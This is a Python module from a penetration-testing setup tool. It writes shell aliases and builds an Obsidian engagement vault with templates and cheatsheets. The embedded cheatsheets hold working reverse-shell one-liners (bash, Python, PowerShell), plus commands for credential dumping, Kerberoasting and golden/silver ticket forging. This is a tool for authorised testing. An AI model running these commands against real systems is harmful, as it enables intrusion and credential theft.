"""Obsidian engagement-vault scaffolding and shell aliases. Auto-extracted from the original monolithic voidwalker.py; method bodies are unchanged except where noted. Part of the VoidWalker package refactor. """ from __future__ import annotations import gzip import json import os import re import shutil import signal import subprocess import sys import tarfile import tempfile import threading import time import random import urllib.parse import urllib.request import zipfile from concurrent.futures import ThreadPoolExecutor, as_completed from pathlib import Path from typing import Dict, List, Optional, Tuple from urllib.error import HTTPError, URLError from .version import __version__ from .theme import Colors, Symbols from .hostinfo import HostInfo, select_asset from .data.workspace import WORKSPACE_DIRS from .data.catalog import TOOL_CATEGORIES from .data.packages import ( APT_TOOLS, BREW_TOOLS, BREW_CASKS, PIPX_TOOLS, GO_TOOLS, CARGO_TOOLS, GEM_TOOLS, UV_TOOLS, ) from .data.binaries import CROSS_PLATFORM_TOOLS, SPECIAL_TOOLS from .data.build_targets import BUILD_TARGETS from .data.sources import SOURCES_AND_GUIDES class VaultMixin: def _target_user(self) -> str: """The real invoking user — SUDO_USER when running under sudo, else us.""" import getpass return os.environ.get("SUDO_USER") or getpass.getuser() def _login_shell_is_zsh(self) -> bool: """True if the target user's login shell is zsh.""" import pwd try: shell = pwd.getpwnam(self._target_user()).pw_shell except KeyError: shell = os.environ.get("SHELL", "") return shell.endswith("zsh") def ensure_zsh_default_shell(self): """Switch the login shell from bash to zsh on Linux. Debian and most Linux distros default to bash, but VoidWalker's aliases and the pentest-env config target zsh. When the user is still on a non-zsh shell, repoint their login shell at zsh via chsh. macOS already defaults to zsh, so this is a no-op there. """ if self.is_macos: return import shlex zsh_path = shutil.which("zsh") if not zsh_path: print(f" {Colors.YELLOW}{Symbols.CIRCLE} zsh not installed — skipping shell switch{Colors.RESET}") return if self._login_shell_is_zsh(): print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Login shell already zsh{Colors.RESET}") return target_user = self._target_user() # chsh only accepts a shell that is listed in /etc/shells. quoted = shlex.quote(zsh_path) self.run_cmd(["bash", "-c", f"grep -qxF {quoted} /etc/shells " f"|| echo {quoted} | sudo tee -a /etc/shells >/dev/null"]) # `sudo chsh` uses the already-cached sudo credentials, so it won't # prompt for a password (a plain `chsh` would block on stdin). if self.run_cmd(["sudo", "chsh", "-s", zsh_path, target_user]): print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Default shell changed to zsh for {target_user}{Colors.RESET}") print(f" {Colors.YELLOW}Log out and back in for it to take effect{Colors.RESET}") else: print(f" {Colors.BRIGHT_RED}{Symbols.CROSS} Failed to change login shell to zsh{Colors.RESET}") def create_shell_aliases(self): """Create useful shell aliases for penetration testing. Uses ~/.zshrc under zsh, ~/.bash_aliases under bash. """ aliases_content = """# VoidWalker HTB Tools Aliases # Generated by VoidWalker v{} # General Utilities alias ll='ls -alh' alias www='python3 -m http.server 80' alias wwwphp='php -S 0.0.0.0:80' alias pyserve='python3 -m http.server' # Impacket Shortcuts alias impacket-secretsdump='impacket-secretsdump' alias impacket-psexec='impacket-psexec' alias impacket-GetNPUsers='impacket-GetNPUsers' alias impacket-mssqlclient='impacket-mssqlclient' alias impacket-smbserver='impacket-smbserver' alias impacket-wmiexec='impacket-wmiexec' # Common Nmap Scans alias nmap-quick='nmap -T4 -p- --min-rate=1000' alias nmap-full='nmap -p- -sV -sC -A --min-rate=1000' alias nmap-vuln='nmap -sV --script vuln' alias nmap-udp='nmap -sU -T4' # Enumeration alias enum-smb='enum4linux -a' alias enum-ldap='ldapsearch -x -h' alias enum-dns='dnsenum' # File Transfer alias getfile='wget' alias smbserve='impacket-smbserver share . -smb2support' # Reverse Shells alias rlwrap-nc='rlwrap nc -lvnp' # Kerberos alias kerb-users='impacket-GetNPUsers -dc-ip' alias kerb-tgt='impacket-getTGT -dc-ip' # Misc alias linpeas='bash ~/voidwalker/tools/linux/privesc/linpeas.sh' alias pspy='~/voidwalker/tools/linux/enum/linux/pspy64' """.format(__version__) try: # Write aliases to whatever the login shell actually reads: ~/.zshrc # under zsh (macOS, or Linux after we switch the shell), else the # bash drop-in ~/.bash_aliases. if self.is_macos or self._login_shell_is_zsh(): aliases_path = Path.home() / ".zshrc" shell_name = "zsh" source_cmd = "source ~/.zshrc" else: aliases_path = Path.home() / ".bash_aliases" shell_name = "bash" source_cmd = "source ~/.bash_aliases" # Read existing content if file exists existing_content = "" if aliases_path.exists(): with open(aliases_path, 'r') as f: existing_content = f.read() # Only add if not already present if "VoidWalker HTB Tools Aliases" not in existing_content: with open(aliases_path, 'a') as f: f.write("\n" + aliases_content) print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Shell aliases created at {aliases_path}{Colors.RESET}") print(f" {Colors.YELLOW}Run '{source_cmd}' to activate{Colors.RESET}") else: print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Shell aliases already configured{Colors.RESET}") except Exception as e: print(f" {Colors.BRIGHT_RED}{Symbols.CROSS} Failed to create aliases: {e}{Colors.RESET}") def setup_obsidian_vault(self): """Create an Obsidian vault directory structure for a penetration testing engagement.""" self.clear_screen() self.show_ascii_banner() print() self.print_centered(f"{Colors.NEON_MAGENTA}{Symbols.SHIELD} PENTEST OBSIDIAN VAULT SETUP {Symbols.SHIELD}{Colors.RESET}") self.print_centered(f"{Colors.GRAY}{'─' * 60}{Colors.RESET}") print() # Prompt for engagement name print(f" {Colors.NEON_CYAN}Enter engagement name (e.g. 'ACME-Corp-2025'):{Colors.RESET}") engagement_name = input(f" {Colors.WHITE}> {Colors.RESET}").strip() if not engagement_name: engagement_name = "Engagement" print() vault_path = self.base_path / "vault" / engagement_name if vault_path.exists(): print(f" {Colors.YELLOW}{Symbols.CIRCLE} Vault already exists at {vault_path}{Colors.RESET}") print(f" {Colors.GRAY}Skipping creation to avoid overwriting.{Colors.RESET}") print() input(f"{Colors.GRAY}Press Enter to continue...{Colors.RESET}") return print(f" {Colors.YELLOW}Creating vault at: {vault_path}{Colors.RESET}") print() # ─── Directory Structure ─────────────────────────────────────── vault_dirs = [ "00-Engagement/Scope", "00-Engagement/Rules-of-Engagement", "01-Reconnaissance/External", "01-Reconnaissance/OSINT", "01-Reconnaissance/Passive", "02-Enumeration/Hosts", "02-Enumeration/Services", "02-Enumeration/Active-Directory", "02-Enumeration/Web-Apps", "02-Enumeration/Shares", "03-Exploitation/Initial-Access", "03-Exploitation/Payloads", "03-Exploitation/Phishing", "04-Post-Exploitation/Privilege-Escalation", "04-Post-Exploitation/Lateral-Movement", "04-Post-Exploitation/Persistence", "04-Post-Exploitation/Domain-Escalation", "05-Credentials/Hashes", "05-Credentials/Passwords", "05-Credentials/Tickets", "05-Credentials/Certificates", "06-Loot/Screenshots", "06-Loot/Data", "06-Loot/Configs", "07-Findings", "08-Report/Drafts", "08-Report/Evidence", "09-Daily-Log", "Templates", "Cheatsheets", "Attachments", ] for d in vault_dirs: (vault_path / d).mkdir(parents=True, exist_ok=True) print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Directory structure created ({len(vault_dirs)} folders){Colors.RESET}") # ─── .obsidian config ────────────────────────────────────────── obsidian_dir = vault_path / ".obsidian" obsidian_dir.mkdir(exist_ok=True) app_config = json.dumps({ "alwaysUpdateLinks": True, "attachmentFolderPath": "Attachments", "newFileLocation": "folder", "newFileFolderPath": "02-Enumeration/Hosts", "showLineNumber": True, "strictLineBreaks": False, "readableLineLength": True, "livePreview": True, }, indent=2) (obsidian_dir / "app.json").write_text(app_config) appearance_config = json.dumps({ "accentColor": "#56949f", "theme": "obsidian", "cssTheme": "", }, indent=2) (obsidian_dir / "appearance.json").write_text(appearance_config) print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Obsidian config created{Colors.RESET}") # ─── Templates ───────────────────────────────────────────────── templates = { "Templates/Host.md": f"""--- hostname: "{{{{hostname}}}}" ip: "{{{{ip}}}}" os: "" status: "alive" domain: "" engagement: "{engagement_name}" date: "{{{{date}}}}" tags: [host, enumeration] --- # {{{{hostname}}}} ({{{{ip}}}}) ## Quick Reference | Field | Value | |-------|-------| | IP Address | {{{{ip}}}} | | Hostname | {{{{hostname}}}} | | OS | | | Domain | | | Role | | ## Ports & Services | Port | Service | Version | Notes | |------|---------|---------|-------| | | | | | ## Enumeration Notes ## Credentials Found | Username | Password/Hash | Source | |----------|---------------|--------| | | | | ## Exploitation Path ## Screenshots """, "Templates/Finding.md": f"""--- title: "{{{{title}}}}" severity: "Critical|High|Medium|Low|Info" cvss: "" cve: "" affected_hosts: [] engagement: "{engagement_name}" date: "{{{{date}}}}" tags: [finding, vulnerability] --- # {{{{title}}}} ## Summary Brief description of the vulnerability. ## Affected Assets | Host | IP | Service | |------|----|---------| | | | | ## Risk Rating | Metric | Value | |--------|-------| | Severity | | | CVSS Score | | | CVE | | | Exploitability | Easy / Moderate / Difficult | | Business Impact | | ## Technical Details ### Proof of Concept ``` ``` ### Evidence ## Remediation ### Short-term ### Long-term ## References """, "Templates/Credential.md": f"""--- username: "{{{{username}}}}" type: "password|hash|ticket|certificate" source: "" engagement: "{engagement_name}" date: "{{{{date}}}}" tags: [credential] --- # Credential: {{{{username}}}} | Field | Value | |-------|-------| | Username | {{{{username}}}} | | Domain | | | Type | password / NTLM / Kerberos / certificate | | Value | | | Source Host | | | Method | | | Cracked | Yes / No | ## Usage ``` # How this credential was used ``` ## Notes """, "Templates/Daily-Log.md": f"""--- date: "{{{{date}}}}" engagement: "{engagement_name}" tags: [daily-log] --- # Daily Log — {{{{date}}}} ## Objectives - [ ] ## Key Findings - ## Hosts Compromised | Host | Method | Credentials | |------|--------|-------------| | | | | ## Blocked / Detected - ## Tomorrow's Plan - """, } for filepath, content in templates.items(): target = vault_path / filepath target.write_text(content) print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Templates created (Host, Finding, Credential, Daily-Log){Colors.RESET}") # ─── Engagement Dashboard ────────────────────────────────────── dashboard = f"""--- engagement: "{engagement_name}" date: "{{{{date}}}}" tags: [dashboard, index] --- # 🛡️ {engagement_name} — Engagement Dashboard ## Engagement Info | Field | Value | |-------|-------| | Client | | | Start Date | | | End Date | | | Scope | See [[00-Engagement/Scope/Scope]] | | Rules of Engagement | See [[00-Engagement/Rules-of-Engagement/RoE]] | | Report Due | | ## Progress Tracker - [ ] Scoping & Rules of Engagement - [ ] External Reconnaissance - [ ] Network Enumeration - [ ] Service Enumeration - [ ] Active Directory Enumeration - [ ] Web Application Testing - [ ] Initial Access - [ ] Privilege Escalation - [ ] Lateral Movement - [ ] Domain Compromise - [ ] Data Exfiltration (if in scope) - [ ] Cleanup - [ ] Report Drafting - [ ] Report Delivery ## Hosts ```dataview TABLE ip AS "IP", os AS "OS", status AS "Status", domain AS "Domain" FROM "02-Enumeration/Hosts" WHERE contains(tags, "host") SORT ip ASC ``` ## Credentials ```dataview TABLE username AS "User", type AS "Type", source AS "Source" FROM "05-Credentials" WHERE contains(tags, "credential") SORT username ASC ``` ## Findings ```dataview TABLE severity AS "Severity", cvss AS "CVSS", affected_hosts AS "Hosts" FROM "07-Findings" WHERE contains(tags, "finding") SORT severity ASC ``` ## Daily Logs ```dataview LIST FROM "09-Daily-Log" SORT date DESC ``` ## Quick Links - [[Cheatsheets/Nmap]] - [[Cheatsheets/AD-Attacks]] - [[Cheatsheets/Kerberos]] - [[Cheatsheets/Pivoting]] - [[Cheatsheets/File-Transfer]] - [[Cheatsheets/Reverse-Shells]] """ (vault_path / "Dashboard.md").write_text(dashboard) print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Engagement dashboard created{Colors.RESET}") # ─── Scope & RoE placeholders ────────────────────────────────── scope_content = f"""--- engagement: "{engagement_name}" tags: [scope, engagement] --- # Scope — {engagement_name} ## In-Scope | Type | Target | Notes | |------|--------|-------| | Network Range | | | | Domain | | | | Web Application | | | | Wireless | | | ## Out-of-Scope | Type | Target | Reason | |------|--------|--------| | | | | ## Credentials Provided | Username | Password | Access Level | |----------|----------|-------------| | | | | """ (vault_path / "00-Engagement" / "Scope" / "Scope.md").write_text(scope_content) roe_content = f"""--- engagement: "{engagement_name}" tags: [roe, engagement] --- # Rules of Engagement — {engagement_name} ## Authorisation | Field | Value | |-------|-------| | Authorised By | | | Date | | | Emergency Contact | | | Escalation Process | | ## Permitted Activities - [ ] Network scanning - [ ] Vulnerability scanning - [ ] Exploitation - [ ] Password attacks - [ ] Social engineering - [ ] Physical access testing - [ ] Denial of Service testing - [ ] Data exfiltration ## Restrictions - ## Testing Hours | Day | Start | End | |-----|-------|-----| | Mon–Fri | | | | Weekends | | | ## Communication Plan - """ (vault_path / "00-Engagement" / "Rules-of-Engagement" / "RoE.md").write_text(roe_content) print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Scope & Rules of Engagement templates created{Colors.RESET}") # ─── Cheatsheets ────────────────────────────────────────────── cheatsheets = { "Cheatsheets/Nmap.md": """# Nmap Cheatsheet ## Quick Scans ```bash # Fast port scan nmap -T4 -p- --min-rate=1000 # Service version + scripts nmap -sV -sC -p # Full comprehensive nmap -p- -sV -sC -A --min-rate=1000 -oA nmap/ # UDP scan nmap -sU -T4 --top-ports 100 # Vulnerability scan nmap -sV --script vuln ``` ## NSE Scripts ```bash # SMB enumeration nmap --script smb-enum-shares,smb-enum-users -p445 # LDAP nmap --script ldap-search -p389 ``` """, "Cheatsheets/AD-Attacks.md": """# Active Directory Attack Cheatsheet ## Enumeration ```powershell # BloodHound SharpHound.exe -c All --outputdirectory C:\\temp Invoke-BloodHound -CollectionMethod All # PowerView Get-DomainUser -SPN # Kerberoastable Get-DomainUser -PreauthNotRequired # AS-REP roastable Get-DomainGPO | Get-ObjectAcl Find-DomainShare -CheckShareAccess ``` ## Kerberos Attacks ```bash # AS-REP Roast impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip # Kerberoast impacket-GetUserSPNs domain.local/user:pass -dc-ip -request # Rubeus Rubeus.exe kerberoast /outfile:hashes.txt Rubeus.exe asreproast /outfile:asrep.txt ``` ## Credential Attacks ```bash # secretsdump impacket-secretsdump domain.local/admin:pass@ # DCSync impacket-secretsdump domain.local/admin:pass@ -just-dc-ntlm ``` """, "Cheatsheets/Kerberos.md": """# Kerberos Cheatsheet ## Ticket Operations ```bash # Request TGT impacket-getTGT domain.local/user:pass -dc-ip # Pass the Ticket export KRB5CCNAME=user.ccache impacket-psexec domain.local/user@ -k -no-pass # Silver Ticket impacket-ticketer -nthash -domain-sid -domain domain.local -spn cifs/ admin # Golden Ticket impacket-ticketer -nthash -domain-sid -domain domain.local admin ``` """, "Cheatsheets/Pivoting.md": """# Pivoting Cheatsheet ## Chisel ```bash # Server (attacker) chisel server --reverse --port 8080 # Client (target) chisel client :8080 R:socks ``` ## Ligolo-ng ```bash # Proxy (attacker) ligolo-ng -selfcert # Agent (target) ligolo-ng_agent -connect :11601 -retry -ignore-cert ``` ## SSH Tunnels ```bash # Local port forward ssh -L :: user@ # Dynamic SOCKS proxy ssh -D 1080 user@ # Remote port forward ssh -R :localhost: user@ ``` """, "Cheatsheets/File-Transfer.md": """# File Transfer Cheatsheet ## Python HTTP Server ```bash python3 -m http.server 80 ``` ## PowerShell Download ```powershell iwr http:///file -OutFile C:\\temp\\file (New-Object Net.WebClient).DownloadFile('http:///file','C:\\temp\\file') certutil -urlcache -f http:///file C:\\temp\\file ``` ## Linux Download ```bash wget http:///file curl http:///file -o file ``` ## SMB ```bash # Server impacket-smbserver share . -smb2support # Client (Windows) copy \\\\\\share\\file C:\\temp\\file ``` """, "Cheatsheets/Reverse-Shells.md": """# Reverse Shell Cheatsheet ## Bash ```bash bash -i >& /dev/tcp// 0>&1 ``` ## Python ```bash python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("",));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' ``` ## PowerShell ```powershell powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` ## Stabilise Shell ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg export TERM=xterm ``` """, } for filepath, content in cheatsheets.items(): target = vault_path / filepath target.write_text(content) print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Cheatsheets created ({len(cheatsheets)} sheets){Colors.RESET}") # ─── Sources, Guides & References ───────────────────────────── sources_content = """--- tags: [sources, guides, references] --- # Sources, Guides & Cheatsheets """ for section, entries in SOURCES_AND_GUIDES.items(): sources_content += f"## {section}\n\n" sources_content += "| Name | URL |\n|------|-----|\n" for name, url in entries: sources_content += f"| {name} | {url} |\n" sources_content += "\n" (vault_path / "Cheatsheets" / "Sources-and-Guides.md").write_text(sources_content) print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Sources & Guides reference page created{Colors.RESET}") # ─── Summary ────────────────────────────────────────────────── print() total_files = len(templates) + len(cheatsheets) + 4 # +4 for dashboard, scope, roe, configs stats = [ f"{Colors.NEON_GREEN}{Symbols.CHECK} Vault: {vault_path}{Colors.RESET}", f"{Colors.NEON_GREEN}{Symbols.CHECK} Folders: {len(vault_dirs)}{Colors.RESET}", f"{Colors.NEON_GREEN}{Symbols.CHECK} Templates: {len(templates)}{Colors.RESET}", f"{Colors.NEON_GREEN}{Symbols.CHECK} Cheatsheets: {len(cheatsheets)}{Colors.RESET}", f"{Colors.ELECTRIC_BLUE}Open in Obsidian: File → Open vault → {vault_path}{Colors.RESET}", ] self.draw_box(f"{Symbols.SHIELD} VAULT READY", stats, 55) print() input(f"{Colors.GRAY}Press Enter to continue...{Colors.RESET}")